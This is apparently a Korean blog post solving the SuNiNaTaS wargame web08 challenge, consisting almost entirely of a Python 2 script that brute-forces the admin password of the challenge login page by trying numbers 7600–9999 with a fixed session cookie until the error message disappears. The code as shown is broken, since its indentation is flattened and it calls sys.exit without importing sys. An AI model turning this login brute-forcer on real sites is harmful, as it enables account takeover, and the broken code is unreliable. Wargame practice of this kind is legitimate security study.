import urllib, urllib2
url = "http://suninatas.com/Part_one/web08/web08.asp"
#User_Agent = "SuNiNaTaS"
i = ""
for i in range(7600,10000):
dat = {'id': 'admin', 'pw': i}
dat = urllib.urlencode(dat)
print dat
header = {'Cookie': "ASPSESSIONIDCCRBCADD=FMCHFPOCKMPIDIOPDCBFBLCE"}
req = urllib2.Request(url, dat, headers=header)
#req.add_header=('User-Agent', User_Agent)
res = urllib2.urlopen(req).read()
if "Password Incorrect!" not in res:
print "[*]Find Auth Key!" + str(i)
break
sys.exit(1)
'Wargame > SuNiNaTaS' 카테고리의 다른 글
| SuNiNaTaS web23번 (0) | 2017.03.10 |
|---|---|
| SuNiNaTaS web22번 (0) | 2017.03.07 |
| SuNiNaTaS web07번 (0) | 2017.03.07 |
| SuNiNaTaS web06번 (0) | 2017.03.07 |
| SuNiNaTaS web05번 (0) | 2017.03.07 |